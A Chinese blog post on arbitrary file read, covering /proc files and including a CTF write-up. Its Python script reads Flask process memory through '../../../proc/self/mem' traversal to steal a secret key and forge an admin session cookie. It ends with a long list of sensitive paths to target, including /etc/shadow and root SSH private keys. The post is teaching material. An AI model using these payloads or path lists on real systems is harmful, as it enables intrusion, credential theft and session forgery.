目录

  1. 1. 前言
  2. 2. 利用方式
  3. 3. /etc/passwd
  4. 4. /proc
    1. 4.1. cmdline
    2. 4.2. environ
    3. 4.3. status
    4. 4.4. cwd
    5. 4.5. exe
    6. 4.6. fd
    7. 4.7. maps&mem
      1. 4.7.1. 攻防世界-cat_cat_new
  5. 5. 一些敏感配置文件的路径

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

任意文件读取

2023/5/20 Web 文件包含
  |     |   总文章阅读量:

前言

页面上通过传参读取到的某些文件、图片,其参数处就存在任意文件读取

本篇会收集一些常读取的目录,主要会侧重于/proc目录的利用

利用方式

直接读取指定文件或使用file://协议进行读取一些特殊路径

/etc/passwd

一个文本文件,包含了Linux系统中所有用户的基本信息,如用户名、用户ID(UID)、主组ID(GID)、家目录路径、默认Shell等。每行记录一个用户信息,每个字段用冒号(:)分隔

/proc

Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态

简单来讲,/proc 目录即保存在系统内存中的信息,大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看

/proc目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件,/proc/self即指当前进程的id

参考文章:https://www.anquanke.com/post/id/241148#h3-6

image-20231125120633873

image-20231125120942283


cmdline

cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令

/proc/self/cmdline

会返回当前进程的命令行参数

image-20231125121219242

environ

/proc/self/environ

当前进程的环境变量,和执行env命令差不多

image-20231025113748893

status

/proc/self/status

当前进程的状态信息,如进程ID、父进程ID、内存占用等

cwd

/proc/self/cwd/

它是一个符号链接,指向当前进程的当前工作目录,可以借此进行目录穿越读取文件

image-20231025113645789

exe

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接

通过exe文件我们可以获得指定进程的可执行文件的完整路径

/proc/self/exe

image-20231125121519056

fd

fd 是一个目录,里面包含这当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接,即每个通过这个进程打开的文件都会显示在这里

文件描述符:当Linux启动的时候会默认打开三个文件描述符,分别是标准输入standard input 0标准输出standard output 1错误输出error output 2。文件所有输入输出都是由该进程所有打开的文件描述符控制的(linux一切皆文件)

所以我们可以通过fd目录里的文件获得指定进程打开的每个文件的路径以及文件内容

/proc/self/fd

image-20231125121956665

查看指定进程打开的某个文件的内容

ls -al /proc/self/fd/2

image-20231125122334857

这个fd比较重要,因为在 linux 系统中,如果一个程序用open()打开了一个文件但最终没有关闭他,即便从外部(如os.remove(SECRET_FILE))删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容


maps&mem

/proc/self/maps

当前进程的内存映射信息,可通过读取该文件来得到内存数据映射的地址

image-20231125123935471

/proc/self/mem

当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据

但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。这里其实接近webpwn了

这个单独拉出来讲,在2022年的蓝帽杯初赛file_session中出现过这个考点

我们知道像flask框架中的SECRET_KEY本质上还是一个全局变量,而这些全局变量必定要被存放起来,存放的位置就是在内存中

那么就需要通过/proc读取内存,计算内存偏移得到我们需要的内容

流程:先去读取/proc/self/maps的信息 ,然后通过map里栈的地址 ,再去正则匹配里面的信息,然后再根据读出来的地址查mem内存 ,接着通过地址范围正则匹配我们需要的key

exp:

import re
import requests

maps=open('test.txt')
b = maps.read()
list = b.split('\\n')
for line in list:
    if 'rw' in line:
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
        #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
        start = int(addr.group(1),16)  #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
        end = int(addr.group(2),16)    #将十六进制字符转化为十进制数,为了符合end参数格式
        print(start,end)
        url = f"http://61.147.171.105:63646/info?file=../../../proc/self/mem&start={start}&end={end}"
        #使用start和end参数读取mem
        response = requests.get(url)
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)  #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),find
        if secret_key:
            print(secret_key)
            break

攻防世界-cat_cat_new

参考:https://www.cnblogs.com/niyani/p/17074125.html

进入题目,随便点开一只猫猫的介绍

image-20240517222809706

发现存在任意文件读取,尝试读取/etc/passwd

image-20240517222941382

测试发现得用相对路径读

../../../proc/self/cmdline读一下当前命令行参数

image-20240517223419055

可知起web服务的文件是app.py,翻目录读一下,位置在../app.py

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

debug关了,flag文件在导入到python上下文后就给删了

看一下获取flag的条件,/admin路由下伪造session为admin即可得到flag

而key的生成是随机的:app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

但是 secret_key 的值可以通过内存数据获取:

首先读取../../../proc/self/maps获取可读内容的内存映射地址

image-20240517224456915

然后结合地址读取../../../proc/self/mem的内存数据

exp:1.txt为读出来的地址内容

import re
import requests

maps = open('1.txt')
b = maps.read()
list = b.split('\\n')
for line in list:
    if 'rw' in line:
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line)
        #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
        start = int(addr.group(1), 16)  #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
        end = int(addr.group(2), 16)  #将十六进制字符转化为十进制数,为了符合end参数格式
        print(start, end)
        url = f"http://61.147.171.105:52840/info?file=../../../proc/self/mem&start={start}&end={end}"
        #使用start和end参数读取mem
        response = requests.get(url)
        secret_key = re.findall(
            "[a-z0-9]{32}\*abcdefgh",
            response.text)  #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),find
        if secret_key:
            print(secret_key)
            break

image-20240517225110139

得到key:ba0c7fc2975143f483e2a7b446bc0d4d*abcdefgh

我们尝试读一下最后的参数看看内容:?file=../../../proc/self/mem&start=140125915090944&end=140125916344320

image-20240517225148223

可以看到全局变量 secret_key 就在这里面

接下来拿着key去伪造session即可,访问/admin拿到session:eyJhZG1pbiI6MH0.ZkdvPQ.2tiKlO-NZWGbWTKmCCyOwpHVM9M

进行伪造

python flask_session_cookie_manager3.py decode -s "ba0c7fc2975143f483e2a7b446bc0d4d*abcdefgh" -c "eyJhZG1pbiI6MH0.ZkdvPQ.2tiKlO-NZWGbWTKmCCyOwpHVM9M"

python flask_session_cookie_manager3.py encode -s "ba0c7fc2975143f483e2a7b446bc0d4d*abcdefgh" -t "{'admin':1}"

image-20240517225845389

得到flag

image-20240517225956666


一些敏感配置文件的路径

/usr/local/apache2/conf/httpd.conf
/etc/php/7.4/apache2/php.ini

/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/anacrontab
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/at.allow
/etc/at.deny
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/fstab
/etc/host.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/etc/httpd/htdocs/index.php
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/ld.so.conf
/etc/motd
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/passwd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/etc/resolv.conf
/etc/shadow
/etc/ssh/sshd_config
/etc/ssh/sshd_config
/etc/ssh/ssh_config
/etc/ssh/ssh_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/sysconfig/network
/etc/sysconfig/network
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.html
/opt/www/htdocs/index.php
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/root/.atftp_history
/root/.bashrc
/root/.bash_history
/root/.mysql_history
/root/.nano_history
/root/.php_history
/root/.profile
/root/.ssh/authorized_keys
/root/.ssh/identity
/root/.ssh/identity.pub
/root/.ssh/id_dsa
/root/.ssh/id_dsa.pub
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/anaconda-ks.cfg
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error_logerror_log.old
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/httpd2.2/htdocs/index.html
/usr/local/httpd2.2/htdocs/index.php
/usr/local/lib/php.ini
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/tomcat5527/bin/version.sh
/usr/local/Zend/etc/php.ini
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.html
/var/httpd/htdocs/index.php
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/log/access.log
/var/log/access_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/error.log
/var/log/error_log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/mail/root
/var/mysql.log
/var/spool/cron/crontabs/root
/var/spool/mail/root
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/www/htdocs/index.php
/var/www/index.html
/var/www/index.php
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/web/conf/php.ini
/www/conf/httpd.conf
/www/htdocs/index.html
/www/htdocs/index.php
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
root/.ssh/authorized_keys
root/.ssh/identity
root/.ssh/identity.pub
root/.ssh/id_dsa
root/.ssh/id_dsa.pub
root/.ssh/id_rsa
root/.ssh/id_rsa.pub